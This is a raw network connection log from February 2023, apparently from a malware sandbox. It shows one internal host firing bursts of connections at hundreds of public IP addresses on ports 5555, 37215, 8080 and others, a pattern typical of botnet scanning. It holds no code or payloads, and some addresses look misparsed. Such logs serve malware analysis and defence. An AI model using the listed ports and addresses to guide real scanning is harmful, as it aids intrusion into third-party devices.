Feb 12, 2023 21:24:38.032241106 CET	54932	8080	192.168.2.23	49.55.56.46
Feb 12, 2023 21:24:38.100609064 CET	51548	80	192.168.2.23	57.53.46.50
Feb 12, 2023 21:24:38.224354029 CET	47614	49152	192.168.2.23	49.55.55.46
Feb 12, 2023 21:24:38.295278072 CET	5555	22272	223.188.199.70	192.168.2.23
Feb 12, 2023 21:24:38.384237051 CET	49840	37215	192.168.2.23	52.55.46.50
Feb 12, 2023 21:24:38.402308941 CET	51786	81	192.168.2.23	57.53.46.50
Feb 12, 2023 21:24:38.448199987 CET	45100	37215	192.168.2.23	49.53.53.46
Feb 12, 2023 21:24:38.480226040 CET	53914	37215	192.168.2.23	49.57.55.46
Feb 12, 2023 21:24:38.512208939 CET	48090	37215	192.168.2.23	49.57.46.49
Feb 12, 2023 21:24:38.512208939 CET	47492	37215	192.168.2.23	49.50.46.49
Feb 12, 2023 21:24:38.598121881 CET	22272	5555	192.168.2.23	151.145.12.148
Feb 12, 2023 21:24:38.598126888 CET	22272	5555	192.168.2.23	202.86.55.90
Feb 12, 2023 21:24:38.598126888 CET	22272	5555	192.168.2.23	145.252.190.230
Feb 12, 2023 21:24:38.598149061 CET	22272	5555	192.168.2.23	124.164.140.168
Feb 12, 2023 21:24:38.598151922 CET	22272	5555	192.168.2.23	76.3.145.220
Feb 12, 2023 21:24:38.598149061 CET	22272	5555	192.168.2.23	85.21.25.56
Feb 12, 2023 21:24:38.598159075 CET	22272	5555	192.168.2.23	84.45.61.176
Feb 12, 2023 21:24:38.598165035 CET	22272	5555	192.168.2.23	136.164.115.64
Feb 12, 2023 21:24:38.598175049 CET	22272	5555	192.168.2.23	36.134.154.24
Feb 12, 2023 21:24:38.598180056 CET	22272	5555	192.168.2.23	174.92.134.252
Feb 12, 2023 21:24:38.598205090 CET	22272	5555	192.168.2.23	196.171.41.106
Feb 12, 2023 21:24:38.598205090 CET	22272	5555	192.168.2.23	146.139.40.169
Feb 12, 2023 21:24:38.598205090 CET	22272	5555	192.168.2.23	117.28.157.133
Feb 12, 2023 21:24:38.598206997 CET	22272	5555	192.168.2.23	183.85.186.14
Feb 12, 2023 21:24:38.598207951 CET	22272	5555	192.168.2.23	121.217.129.19
Feb 12, 2023 21:24:38.598210096 CET	22272	5555	192.168.2.23	176.51.115.15
Feb 12, 2023 21:24:38.598210096 CET	22272	5555	192.168.2.23	161.39.79.207
Feb 12, 2023 21:24:38.598210096 CET	22272	5555	192.168.2.23	97.177.7.241
Feb 12, 2023 21:24:38.598211050 CET	22272	5555	192.168.2.23	35.93.197.96
Feb 12, 2023 21:24:38.598211050 CET	22272	5555	192.168.2.23	111.52.228.252
Feb 12, 2023 21:24:38.598211050 CET	22272	5555	192.168.2.23	206.23.163.128
Feb 12, 2023 21:24:38.598211050 CET	22272	5555	192.168.2.23	51.143.10.188
Feb 12, 2023 21:24:38.598211050 CET	22272	5555	192.168.2.23	63.77.43.154
Feb 12, 2023 21:24:38.598211050 CET	22272	5555	192.168.2.23	186.198.78.168
Feb 12, 2023 21:24:38.598218918 CET	22272	5555	192.168.2.23	47.176.182.237
Feb 12, 2023 21:24:38.598218918 CET	22272	5555	192.168.2.23	48.161.239.29
Feb 12, 2023 21:24:38.598218918 CET	22272	5555	192.168.2.23	53.213.225.189
Feb 12, 2023 21:24:38.598218918 CET	22272	5555	192.168.2.23	223.54.181.158
Feb 12, 2023 21:24:38.598218918 CET	22272	5555	192.168.2.23	152.238.157.35
Feb 12, 2023 21:24:38.598237991 CET	22272	5555	192.168.2.23	217.37.213.62
Feb 12, 2023 21:24:38.598237991 CET	22272	5555	192.168.2.23	110.39.186.147
Feb 12, 2023 21:24:38.598241091 CET	22272	5555	192.168.2.23	109.142.222.75
Feb 12, 2023 21:24:38.598241091 CET	22272	5555	192.168.2.23	14.108.65.16
Feb 12, 2023 21:24:38.598246098 CET	22272	5555	192.168.2.23	222.83.87.190
Feb 12, 2023 21:24:38.598249912 CET	22272	5555	192.168.2.23	172.53.201.2
Feb 12, 2023 21:24:38.598249912 CET	22272	5555	192.168.2.23	14.2.136.41
Feb 12, 2023 21:24:38.598249912 CET	22272	5555	192.168.2.23	159.222.218.189
Feb 12, 2023 21:24:38.598249912 CET	22272	5555	192.168.2.23	178.22.171.84
Feb 12, 2023 21:24:38.598249912 CET	22272	5555	192.168.2.23	157.213.173.49
Feb 12, 2023 21:24:38.598249912 CET	22272	5555	192.168.2.23	190.79.233.168
Feb 12, 2023 21:24:38.598249912 CET	22272	5555	192.168.2.23	95.5.162.81
Feb 12, 2023 21:24:38.598261118 CET	22272	5555	192.168.2.23	157.184.60.80
Feb 12, 2023 21:24:38.598261118 CET	22272	5555	192.168.2.23	213.1.47.77
Feb 12, 2023 21:24:38.598265886 CET	22272	5555	192.168.2.23	153.155.32.89
Feb 12, 2023 21:24:38.598265886 CET	22272	5555	192.168.2.23	36.199.253.48
Feb 12, 2023 21:24:38.598270893 CET	22272	5555	192.168.2.23	146.2.125.0
Feb 12, 2023 21:24:38.598270893 CET	22272	5555	192.168.2.23	128.225.30.144
Feb 12, 2023 21:24:38.598270893 CET	22272	5555	192.168.2.23	168.104.245.141
Feb 12, 2023 21:24:38.598278999 CET	22272	5555	192.168.2.23	91.90.121.237
Feb 12, 2023 21:24:38.598278999 CET	22272	5555	192.168.2.23	27.239.43.249
Feb 12, 2023 21:24:38.598294973 CET	22272	5555	192.168.2.23	34.63.64.25
Feb 12, 2023 21:24:38.598294973 CET	22272	5555	192.168.2.23	182.235.225.150
Feb 12, 2023 21:24:38.598294973 CET	22272	5555	192.168.2.23	27.38.109.152
Feb 12, 2023 21:24:38.598294973 CET	22272	5555	192.168.2.23	169.43.44.155
Feb 12, 2023 21:24:38.598314047 CET	22272	5555	192.168.2.23	49.189.73.215
Feb 12, 2023 21:24:38.598313093 CET	22272	5555	192.168.2.23	75.254.127.251
Feb 12, 2023 21:24:38.598314047 CET	22272	5555	192.168.2.23	63.7.52.11
Feb 12, 2023 21:24:38.598313093 CET	22272	5555	192.168.2.23	217.5.1.154
Feb 12, 2023 21:24:38.598313093 CET	22272	5555	192.168.2.23	139.126.184.163
Feb 12, 2023 21:24:38.598313093 CET	22272	5555	192.168.2.23	181.241.237.77
Feb 12, 2023 21:24:38.598316908 CET	22272	5555	192.168.2.23	165.133.234.227
Feb 12, 2023 21:24:38.598313093 CET	22272	5555	192.168.2.23	97.144.41.132
Feb 12, 2023 21:24:38.598314047 CET	22272	5555	192.168.2.23	74.85.249.178
Feb 12, 2023 21:24:38.598319054 CET	22272	5555	192.168.2.23	53.101.130.82
Feb 12, 2023 21:24:38.598314047 CET	22272	5555	192.168.2.23	171.0.205.67
Feb 12, 2023 21:24:38.598319054 CET	22272	5555	192.168.2.23	112.49.103.121
Feb 12, 2023 21:24:38.598320961 CET	22272	5555	192.168.2.23	68.29.161.148
Feb 12, 2023 21:24:38.598320961 CET	22272	5555	192.168.2.23	57.8.71.180
Feb 12, 2023 21:24:38.598320961 CET	22272	5555	192.168.2.23	98.54.215.160
Feb 12, 2023 21:24:38.598320961 CET	22272	5555	192.168.2.23	146.4.181.106
Feb 12, 2023 21:24:38.598320961 CET	22272	5555	192.168.2.23	32.89.249.25
Feb 12, 2023 21:24:38.598331928 CET	22272	5555	192.168.2.23	200.53.79.210
Feb 12, 2023 21:24:38.598331928 CET	22272	5555	192.168.2.23	203.109.141.36
Feb 12, 2023 21:24:38.598331928 CET	22272	5555	192.168.2.23	145.96.107.69
Feb 12, 2023 21:24:38.598331928 CET	22272	5555	192.168.2.23	34.219.105.97
Feb 12, 2023 21:24:38.598332882 CET	22272	5555	192.168.2.23	27.2.110.95
Feb 12, 2023 21:24:38.598351955 CET	22272	5555	192.168.2.23	190.253.4.58
Feb 12, 2023 21:24:38.598351955 CET	22272	5555	192.168.2.23	53.201.137.17
Feb 12, 2023 21:24:38.598351955 CET	22272	5555	192.168.2.23	93.192.228.174
Feb 12, 2023 21:24:38.598351955 CET	22272	5555	192.168.2.23	120.247.6.130
Feb 12, 2023 21:24:38.598355055 CET	22272	5555	192.168.2.23	121.135.120.143
Feb 12, 2023 21:24:38.598356962 CET	22272	5555	192.168.2.23	125.244.238.186
Feb 12, 2023 21:24:38.598356962 CET	22272	5555	192.168.2.23	175.201.219.171
Feb 12, 2023 21:24:38.598356962 CET	22272	5555	192.168.2.23	139.21.208.231
Feb 12, 2023 21:24:38.598359108 CET	22272	5555	192.168.2.23	60.41.170.67
Feb 12, 2023 21:24:38.598359108 CET	22272	5555	192.168.2.23	164.82.18.247
Feb 12, 2023 21:24:38.598356962 CET	22272	5555	192.168.2.23	128.255.139.42
Feb 12, 2023 21:24:38.598359108 CET	22272	5555	192.168.2.23	77.134.254.108
Feb 12, 2023 21:24:38.598359108 CET	22272	5555	192.168.2.23	32.168.178.184
Feb 12, 2023 21:24:38.598359108 CET	22272	5555	192.168.2.23	189.88.136.235
Feb 12, 2023 21:24:38.598359108 CET	22272	5555	192.168.2.23	193.221.88.12
Feb 12, 2023 21:24:38.598406076 CET	22272	5555	192.168.2.23	81.226.227.1
Feb 12, 2023 21:24:38.598407030 CET	22272	5555	192.168.2.23	64.171.17.176
Feb 12, 2023 21:24:38.598406076 CET	22272	5555	192.168.2.23	120.5.116.141
Feb 12, 2023 21:24:38.598407030 CET	22272	5555	192.168.2.23	53.33.186.137
Feb 12, 2023 21:24:38.598406076 CET	22272	5555	192.168.2.23	50.191.174.90
Feb 12, 2023 21:24:38.598407030 CET	22272	5555	192.168.2.23	129.187.58.196
Feb 12, 2023 21:24:38.598408937 CET	22272	5555	192.168.2.23	212.134.180.254
Feb 12, 2023 21:24:38.598406076 CET	22272	5555	192.168.2.23	209.109.184.223
Feb 12, 2023 21:24:38.598411083 CET	22272	5555	192.168.2.23	161.120.123.38
Feb 12, 2023 21:24:38.598407030 CET	22272	5555	192.168.2.23	86.63.26.162
Feb 12, 2023 21:24:38.598406076 CET	22272	5555	192.168.2.23	151.105.68.88
Feb 12, 2023 21:24:38.598408937 CET	22272	5555	192.168.2.23	178.156.97.78
Feb 12, 2023 21:24:38.598411083 CET	22272	5555	192.168.2.23	176.62.99.126
Feb 12, 2023 21:24:38.598407030 CET	22272	5555	192.168.2.23	216.50.197.29
Feb 12, 2023 21:24:38.598408937 CET	22272	5555	192.168.2.23	37.26.128.145
Feb 12, 2023 21:24:38.598413944 CET	22272	5555	192.168.2.23	70.137.26.45
Feb 12, 2023 21:24:38.598411083 CET	22272	5555	192.168.2.23	32.4.81.219
Feb 12, 2023 21:24:38.598408937 CET	22272	5555	192.168.2.23	175.160.94.209
Feb 12, 2023 21:24:38.598413944 CET	22272	5555	192.168.2.23	85.204.131.145
Feb 12, 2023 21:24:38.598411083 CET	22272	5555	192.168.2.23	212.235.99.183
Feb 12, 2023 21:24:38.598408937 CET	22272	5555	192.168.2.23	70.72.10.200
Feb 12, 2023 21:24:38.598431110 CET	22272	5555	192.168.2.23	51.185.237.231
Feb 12, 2023 21:24:38.598431110 CET	22272	5555	192.168.2.23	54.151.128.229
Feb 12, 2023 21:24:38.598431110 CET	22272	5555	192.168.2.23	133.199.5.25
Feb 12, 2023 21:24:38.598431110 CET	22272	5555	192.168.2.23	194.210.217.213
Feb 12, 2023 21:24:38.598431110 CET	22272	5555	192.168.2.23	160.77.239.129
Feb 12, 2023 21:24:38.598431110 CET	22272	5555	192.168.2.23	146.101.137.9
Feb 12, 2023 21:24:38.598431110 CET	22272	5555	192.168.2.23	82.108.28.72
Feb 12, 2023 21:24:38.598431110 CET	22272	5555	192.168.2.23	36.107.26.193
Feb 12, 2023 21:24:38.598442078 CET	22272	5555	192.168.2.23	44.143.208.195
Feb 12, 2023 21:24:38.598442078 CET	22272	5555	192.168.2.23	221.62.130.182
Feb 12, 2023 21:24:38.598442078 CET	22272	5555	192.168.2.23	63.245.34.221
Feb 12, 2023 21:24:38.598442078 CET	22272	5555	192.168.2.23	201.123.149.212
Feb 12, 2023 21:24:38.598442078 CET	22272	5555	192.168.2.23	144.117.0.34
Feb 12, 2023 21:24:38.598445892 CET	22272	5555	192.168.2.23	85.109.3.223
Feb 12, 2023 21:24:38.598448038 CET	22272	5555	192.168.2.23	62.235.24.114
Feb 12, 2023 21:24:38.598442078 CET	22272	5555	192.168.2.23	17.101.172.71
Feb 12, 2023 21:24:38.598445892 CET	22272	5555	192.168.2.23	31.215.74.78
Feb 12, 2023 21:24:38.598442078 CET	22272	5555	192.168.2.23	43.187.167.32
Feb 12, 2023 21:24:38.598448038 CET	22272	5555	192.168.2.23	47.101.217.233
Feb 12, 2023 21:24:38.598445892 CET	22272	5555	192.168.2.23	76.223.221.125
Feb 12, 2023 21:24:38.598442078 CET	22272	5555	192.168.2.23	107.14.25.3
Feb 12, 2023 21:24:38.598448038 CET	22272	5555	192.168.2.23	168.172.188.247
Feb 12, 2023 21:24:38.598448038 CET	22272	5555	192.168.2.23	42.139.14.218
Feb 12, 2023 21:24:38.598448038 CET	22272	5555	192.168.2.23	190.160.205.19
Feb 12, 2023 21:24:38.598448038 CET	22272	5555	192.168.2.23	67.106.253.249
Feb 12, 2023 21:24:38.598448038 CET	22272	5555	192.168.2.23	63.49.84.230
Feb 12, 2023 21:24:38.598448038 CET	22272	5555	192.168.2.23	210.175.103.115
Feb 12, 2023 21:24:38.598469973 CET	22272	5555	192.168.2.23	219.130.133.31
Feb 12, 2023 21:24:38.598469973 CET	22272	5555	192.168.2.23	205.82.149.183
Feb 12, 2023 21:24:38.598470926 CET	22272	5555	192.168.2.23	98.72.40.229
Feb 12, 2023 21:24:38.598475933 CET	22272	5555	192.168.2.23	147.130.128.198
Feb 12, 2023 21:24:38.598475933 CET	22272	5555	192.168.2.23	101.244.40.73
Feb 12, 2023 21:24:38.598475933 CET	22272	5555	192.168.2.23	45.236.250.195
Feb 12, 2023 21:24:38.598475933 CET	22272	5555	192.168.2.23	172.228.67.246
Feb 12, 2023 21:24:38.598484039 CET	22272	5555	192.168.2.23	115.11.165.193
Feb 12, 2023 21:24:38.598484039 CET	22272	5555	192.168.2.23	134.19.53.41
Feb 12, 2023 21:24:38.598484993 CET	22272	5555	192.168.2.23	158.148.216.41
Feb 12, 2023 21:24:38.598484039 CET	22272	5555	192.168.2.23	80.66.171.233
Feb 12, 2023 21:24:38.598484993 CET	22272	5555	192.168.2.23	217.152.154.38
Feb 12, 2023 21:24:38.598484039 CET	22272	5555	192.168.2.23	8.54.163.174
Feb 12, 2023 21:24:38.598484039 CET	22272	5555	192.168.2.23	43.223.225.226
Feb 12, 2023 21:24:38.598484039 CET	22272	5555	192.168.2.23	189.84.182.141
Feb 12, 2023 21:24:38.598484039 CET	22272	5555	192.168.2.23	5.201.82.237
Feb 12, 2023 21:24:38.598484039 CET	22272	5555	192.168.2.23	90.192.103.179
Feb 12, 2023 21:24:38.598540068 CET	22272	5555	192.168.2.23	64.68.118.135
Feb 12, 2023 21:24:38.598563910 CET	22272	5555	192.168.2.23	178.212.64.37
Feb 12, 2023 21:24:38.598566055 CET	22272	5555	192.168.2.23	125.1.85.142
Feb 12, 2023 21:24:38.598593950 CET	22272	5555	192.168.2.23	176.32.253.95
Feb 12, 2023 21:24:38.645154953 CET	5555	22272	81.226.227.1	192.168.2.23
Feb 12, 2023 21:24:38.660918951 CET	52981	37215	192.168.2.23	41.12.139.135
Feb 12, 2023 21:24:38.660947084 CET	52981	37215	192.168.2.23	25.84.162.244
Feb 12, 2023 21:24:38.660953999 CET	52981	37215	192.168.2.23	197.26.47.157
Feb 12, 2023 21:24:38.660983086 CET	52981	37215	192.168.2.23	157.179.3.237
Feb 12, 2023 21:24:38.660985947 CET	52981	37215	192.168.2.23	41.181.48.199
Feb 12, 2023 21:24:38.661004066 CET	52981	37215	192.168.2.23	41.236.132.46
Feb 12, 2023 21:24:38.661010027 CET	52981	37215	192.168.2.23	96.53.164.169
Feb 12, 2023 21:24:38.661012888 CET	52981	37215	192.168.2.23	157.131.135.148
Feb 12, 2023 21:24:38.661011934 CET	52981	37215	192.168.2.23	41.126.1.21
Feb 12, 2023 21:24:38.661011934 CET	52981	37215	192.168.2.23	41.221.48.57
Feb 12, 2023 21:24:38.661011934 CET	52981	37215	192.168.2.23	197.173.108.199
Feb 12, 2023 21:24:38.661020041 CET	52981	37215	192.168.2.23	157.138.82.5
Feb 12, 2023 21:24:38.661020041 CET	52981	37215	192.168.2.23	41.13.231.173
Feb 12, 2023 21:24:38.661031961 CET	52981	37215	192.168.2.23	41.38.241.6
Feb 12, 2023 21:24:38.661057949 CET	52981	37215	192.168.2.23	41.18.190.57
Feb 12, 2023 21:24:38.661072969 CET	52981	37215	192.168.2.23	41.184.102.130
Feb 12, 2023 21:24:38.661072969 CET	52981	37215	192.168.2.23	157.56.252.21
Feb 12, 2023 21:24:38.661091089 CET	52981	37215	192.168.2.23	41.233.25.84
Feb 12, 2023 21:24:38.661091089 CET	52981	37215	192.168.2.23	157.105.206.154
Feb 12, 2023 21:24:38.661092997 CET	52981	37215	192.168.2.23	41.190.120.115
Feb 12, 2023 21:24:38.661093950 CET	52981	37215	192.168.2.23	197.116.96.116
Feb 12, 2023 21:24:38.661096096 CET	52981	37215	192.168.2.23	157.6.203.102
Feb 12, 2023 21:24:38.661096096 CET	52981	37215	192.168.2.23	41.220.5.66
Feb 12, 2023 21:24:38.661096096 CET	52981	37215	192.168.2.23	197.90.98.144
Feb 12, 2023 21:24:38.661122084 CET	52981	37215	192.168.2.23	157.190.69.214
Feb 12, 2023 21:24:38.661122084 CET	52981	37215	192.168.2.23	157.151.165.182
Feb 12, 2023 21:24:38.661122084 CET	52981	37215	192.168.2.23	108.53.138.236
Feb 12, 2023 21:24:38.661139965 CET	52981	37215	192.168.2.23	197.103.247.159
Feb 12, 2023 21:24:38.661142111 CET	52981	37215	192.168.2.23	196.45.122.205
Feb 12, 2023 21:24:38.661144018 CET	52981	37215	192.168.2.23	157.29.28.24
Feb 12, 2023 21:24:38.661144972 CET	52981	37215	192.168.2.23	197.34.250.203
Feb 12, 2023 21:24:38.661166906 CET	52981	37215	192.168.2.23	41.251.249.230
Feb 12, 2023 21:24:38.661170959 CET	52981	37215	192.168.2.23	157.132.9.28
Feb 12, 2023 21:24:38.661174059 CET	52981	37215	192.168.2.23	41.121.80.194
Feb 12, 2023 21:24:38.661230087 CET	52981	37215	192.168.2.23	157.129.250.58
Feb 12, 2023 21:24:38.661230087 CET	52981	37215	192.168.2.23	41.5.194.18
Feb 12, 2023 21:24:38.661230087 CET	52981	37215	192.168.2.23	197.219.132.156
Feb 12, 2023 21:24:38.661250114 CET	52981	37215	192.168.2.23	197.236.127.114
Feb 12, 2023 21:24:38.661251068 CET	52981	37215	192.168.2.23	197.158.214.106
Feb 12, 2023 21:24:38.661264896 CET	52981	37215	192.168.2.23	41.73.217.64
Feb 12, 2023 21:24:38.661284924 CET	52981	37215	192.168.2.23	41.203.39.247
Feb 12, 2023 21:24:38.661293030 CET	52981	37215	192.168.2.23	157.14.125.169
Feb 12, 2023 21:24:38.661293983 CET	52981	37215	192.168.2.23	157.124.212.141
Feb 12, 2023 21:24:38.661325932 CET	52981	37215	192.168.2.23	197.92.24.37
Feb 12, 2023 21:24:38.661345959 CET	52981	37215	192.168.2.23	100.254.100.229
Feb 12, 2023 21:24:38.661395073 CET	52981	37215	192.168.2.23	19.132.89.182
Feb 12, 2023 21:24:38.661407948 CET	52981	37215	192.168.2.23	108.10.196.93
Feb 12, 2023 21:24:38.661408901 CET	52981	37215	192.168.2.23	78.206.82.4
Feb 12, 2023 21:24:38.661408901 CET	52981	37215	192.168.2.23	197.45.190.115
Feb 12, 2023 21:24:38.661426067 CET	52981	37215	192.168.2.23	197.159.19.217
Feb 12, 2023 21:24:38.661320925 CET	52981	37215	192.168.2.23	41.143.140.163
Feb 12, 2023 21:24:38.661320925 CET	52981	37215	192.168.2.23	117.178.239.37
Feb 12, 2023 21:24:38.661320925 CET	52981	37215	192.168.2.23	203.53.37.6
Feb 12, 2023 21:24:38.661320925 CET	52981	37215	192.168.2.23	41.204.8.211
Feb 12, 2023 21:24:38.661443949 CET	52981	37215	192.168.2.23	157.174.108.161
Feb 12, 2023 21:24:38.661443949 CET	52981	37215	192.168.2.23	46.252.130.47
Feb 12, 2023 21:24:38.661499023 CET	52981	37215	192.168.2.23	157.113.34.161
Feb 12, 2023 21:24:38.661499023 CET	52981	37215	192.168.2.23	41.127.56.43
Feb 12, 2023 21:24:38.661509991 CET	52981	37215	192.168.2.23	41.150.163.225
Feb 12, 2023 21:24:38.661510944 CET	52981	37215	192.168.2.23	197.10.220.114
Feb 12, 2023 21:24:38.661509991 CET	52981	37215	192.168.2.23	223.213.93.247
Feb 12, 2023 21:24:38.661510944 CET	52981	37215	192.168.2.23	41.233.19.115
Feb 12, 2023 21:24:38.661524057 CET	52981	37215	192.168.2.23	41.101.90.236
Feb 12, 2023 21:24:38.661528111 CET	52981	37215	192.168.2.23	41.41.186.53
Feb 12, 2023 21:24:38.661528111 CET	52981	37215	192.168.2.23	197.48.19.53
Feb 12, 2023 21:24:38.661528111 CET	52981	37215	192.168.2.23	163.16.65.201
Feb 12, 2023 21:24:38.661528111 CET	52981	37215	192.168.2.23	41.158.76.158
Feb 12, 2023 21:24:38.661528111 CET	52981	37215	192.168.2.23	157.217.223.181
Feb 12, 2023 21:24:38.661528111 CET	52981	37215	192.168.2.23	197.130.14.151
Feb 12, 2023 21:24:38.661528111 CET	52981	37215	192.168.2.23	197.156.45.79
Feb 12, 2023 21:24:38.661581993 CET	52981	37215	192.168.2.23	41.124.231.183
Feb 12, 2023 21:24:38.661591053 CET	52981	37215	192.168.2.23	41.176.135.3
Feb 12, 2023 21:24:38.661609888 CET	52981	37215	192.168.2.23	157.6.160.70
Feb 12, 2023 21:24:38.661609888 CET	52981	37215	192.168.2.23	197.156.238.205
Feb 12, 2023 21:24:38.661627054 CET	52981	37215	192.168.2.23	197.130.16.85
Feb 12, 2023 21:24:38.661627054 CET	52981	37215	192.168.2.23	197.14.79.146
Feb 12, 2023 21:24:38.661628962 CET	52981	37215	192.168.2.23	157.166.123.167
Feb 12, 2023 21:24:38.661633968 CET	52981	37215	192.168.2.23	41.156.28.5
Feb 12, 2023 21:24:38.661637068 CET	52981	37215	192.168.2.23	197.69.15.12
Feb 12, 2023 21:24:38.661637068 CET	52981	37215	192.168.2.23	97.22.130.100
Feb 12, 2023 21:24:38.661637068 CET	52981	37215	192.168.2.23	41.140.184.166
Feb 12, 2023 21:24:38.661637068 CET	52981	37215	192.168.2.23	186.17.216.133
Feb 12, 2023 21:24:38.661662102 CET	52981	37215	192.168.2.23	157.5.185.156
Feb 12, 2023 21:24:38.661664963 CET	52981	37215	192.168.2.23	83.117.208.19
Feb 12, 2023 21:24:38.661680937 CET	52981	37215	192.168.2.23	197.115.172.98
Feb 12, 2023 21:24:38.661690950 CET	52981	37215	192.168.2.23	157.52.25.40
Feb 12, 2023 21:24:38.661690950 CET	52981	37215	192.168.2.23	77.133.196.92
Feb 12, 2023 21:24:38.661695004 CET	52981	37215	192.168.2.23	197.198.201.192
Feb 12, 2023 21:24:38.661700010 CET	52981	37215	192.168.2.23	20.244.188.79
Feb 12, 2023 21:24:38.661715031 CET	52981	37215	192.168.2.23	41.106.63.42
Feb 12, 2023 21:24:38.661715984 CET	52981	37215	192.168.2.23	14.6.47.16
Feb 12, 2023 21:24:38.661715031 CET	52981	37215	192.168.2.23	157.108.124.85
Feb 12, 2023 21:24:38.661715984 CET	52981	37215	192.168.2.23	157.92.162.134
Feb 12, 2023 21:24:38.661716938 CET	52981	37215	192.168.2.23	157.236.89.55
Feb 12, 2023 21:24:38.661716938 CET	52981	37215	192.168.2.23	41.189.30.173
Feb 12, 2023 21:24:38.661721945 CET	52981	37215	192.168.2.23	41.88.145.244
Feb 12, 2023 21:24:38.661722898 CET	52981	37215	192.168.2.23	197.215.34.197
Feb 12, 2023 21:24:38.661737919 CET	52981	37215	192.168.2.23	196.111.88.34
Feb 12, 2023 21:24:38.661763906 CET	52981	37215	192.168.2.23	197.197.154.150
Feb 12, 2023 21:24:38.661752939 CET	52981	37215	192.168.2.23	157.74.119.26
Feb 12, 2023 21:24:38.661737919 CET	52981	37215	192.168.2.23	149.102.225.126
Feb 12, 2023 21:24:38.661737919 CET	52981	37215	192.168.2.23	157.231.71.140
Feb 12, 2023 21:24:38.661737919 CET	52981	37215	192.168.2.23	157.36.31.62
Feb 12, 2023 21:24:38.661737919 CET	52981	37215	192.168.2.23	41.126.94.127
Feb 12, 2023 21:24:38.661737919 CET	52981	37215	192.168.2.23	197.27.141.121
Feb 12, 2023 21:24:38.661737919 CET	52981	37215	192.168.2.23	157.175.51.41
Feb 12, 2023 21:24:38.661777973 CET	52981	37215	192.168.2.23	157.232.115.38
Feb 12, 2023 21:24:38.661787987 CET	52981	37215	192.168.2.23	197.230.149.1
Feb 12, 2023 21:24:38.661802053 CET	52981	37215	192.168.2.23	197.96.244.15
Feb 12, 2023 21:24:38.661828995 CET	52981	37215	192.168.2.23	157.68.217.250
Feb 12, 2023 21:24:38.661854982 CET	52981	37215	192.168.2.23	157.118.21.98
Feb 12, 2023 21:24:38.661900997 CET	52981	37215	192.168.2.23	197.84.53.119
Feb 12, 2023 21:24:38.661931992 CET	52981	37215	192.168.2.23	132.26.167.22
Feb 12, 2023 21:24:38.661931992 CET	52981	37215	192.168.2.23	197.131.200.80
Feb 12, 2023 21:24:38.661935091 CET	52981	37215	192.168.2.23	197.114.164.200
Feb 12, 2023 21:24:38.661959887 CET	52981	37215	192.168.2.23	108.126.43.119
Feb 12, 2023 21:24:38.661983967 CET	52981	37215	192.168.2.23	97.205.149.119
Feb 12, 2023 21:24:38.661987066 CET	52981	37215	192.168.2.23	41.39.50.39
Feb 12, 2023 21:24:38.661987066 CET	52981	37215	192.168.2.23	41.65.239.247
Feb 12, 2023 21:24:38.662013054 CET	52981	37215	192.168.2.23	197.102.172.63
Feb 12, 2023 21:24:38.662013054 CET	52981	37215	192.168.2.23	41.162.65.136
Feb 12, 2023 21:24:38.661987066 CET	52981	37215	192.168.2.23	106.171.234.92
Feb 12, 2023 21:24:38.661988020 CET	52981	37215	192.168.2.23	41.182.179.186
Feb 12, 2023 21:24:38.662072897 CET	52981	37215	192.168.2.23	157.68.16.249
Feb 12, 2023 21:24:38.662072897 CET	52981	37215	192.168.2.23	197.159.155.121
Feb 12, 2023 21:24:38.662075996 CET	52981	37215	192.168.2.23	157.245.51.12
Feb 12, 2023 21:24:38.662081957 CET	52981	37215	192.168.2.23	136.132.92.38
Feb 12, 2023 21:24:38.662081957 CET	52981	37215	192.168.2.23	157.181.215.126
Feb 12, 2023 21:24:38.662166119 CET	52981	37215	192.168.2.23	41.197.192.119
Feb 12, 2023 21:24:38.662168026 CET	52981	37215	192.168.2.23	197.8.115.99
Feb 12, 2023 21:24:38.662170887 CET	52981	37215	192.168.2.23	197.216.98.1
Feb 12, 2023 21:24:38.662170887 CET	52981	37215	192.168.2.23	148.125.204.223
Feb 12, 2023 21:24:38.662192106 CET	52981	37215	192.168.2.23	157.208.86.18
Feb 12, 2023 21:24:38.662197113 CET	52981	37215	192.168.2.23	157.151.248.30
Feb 12, 2023 21:24:38.662200928 CET	52981	37215	192.168.2.23	157.159.227.61
Feb 12, 2023 21:24:38.662200928 CET	52981	37215	192.168.2.23	41.123.242.129
Feb 12, 2023 21:24:38.662200928 CET	52981	37215	192.168.2.23	41.186.102.22
Feb 12, 2023 21:24:38.662200928 CET	52981	37215	192.168.2.23	157.60.166.155
Feb 12, 2023 21:24:38.662200928 CET	52981	37215	192.168.2.23	157.23.179.139
Feb 12, 2023 21:24:38.662216902 CET	52981	37215	192.168.2.23	197.57.63.46
Feb 12, 2023 21:24:38.662221909 CET	52981	37215	192.168.2.23	41.255.178.170
Feb 12, 2023 21:24:38.662221909 CET	52981	37215	192.168.2.23	41.227.238.236
Feb 12, 2023 21:24:38.662221909 CET	52981	37215	192.168.2.23	17.6.94.62
Feb 12, 2023 21:24:38.662242889 CET	52981	37215	192.168.2.23	41.87.197.68
Feb 12, 2023 21:24:38.662242889 CET	52981	37215	192.168.2.23	197.247.56.11
Feb 12, 2023 21:24:38.662249088 CET	52981	37215	192.168.2.23	157.212.21.13
Feb 12, 2023 21:24:38.662251949 CET	52981	37215	192.168.2.23	157.168.176.170
Feb 12, 2023 21:24:38.662251949 CET	52981	37215	192.168.2.23	41.57.64.160
Feb 12, 2023 21:24:38.662255049 CET	52981	37215	192.168.2.23	197.132.247.87
Feb 12, 2023 21:24:38.662255049 CET	52981	37215	192.168.2.23	131.65.168.155
Feb 12, 2023 21:24:38.662285089 CET	52981	37215	192.168.2.23	157.113.57.108
Feb 12, 2023 21:24:38.662286997 CET	52981	37215	192.168.2.23	157.141.37.183
Feb 12, 2023 21:24:38.662286997 CET	52981	37215	192.168.2.23	197.223.177.166
Feb 12, 2023 21:24:38.662285089 CET	52981	37215	192.168.2.23	20.169.167.106
Feb 12, 2023 21:24:38.662288904 CET	52981	37215	192.168.2.23	84.170.109.11
Feb 12, 2023 21:24:38.662285089 CET	52981	37215	192.168.2.23	41.119.153.76
Feb 12, 2023 21:24:38.662285089 CET	52981	37215	192.168.2.23	157.154.162.40
Feb 12, 2023 21:24:38.662293911 CET	52981	37215	192.168.2.23	41.191.202.14
Feb 12, 2023 21:24:38.662293911 CET	52981	37215	192.168.2.23	223.132.221.65
Feb 12, 2023 21:24:38.662297964 CET	52981	37215	192.168.2.23	41.195.124.87
Feb 12, 2023 21:24:38.662297964 CET	52981	37215	192.168.2.23	193.100.98.226
Feb 12, 2023 21:24:38.662336111 CET	52981	37215	192.168.2.23	41.107.55.20
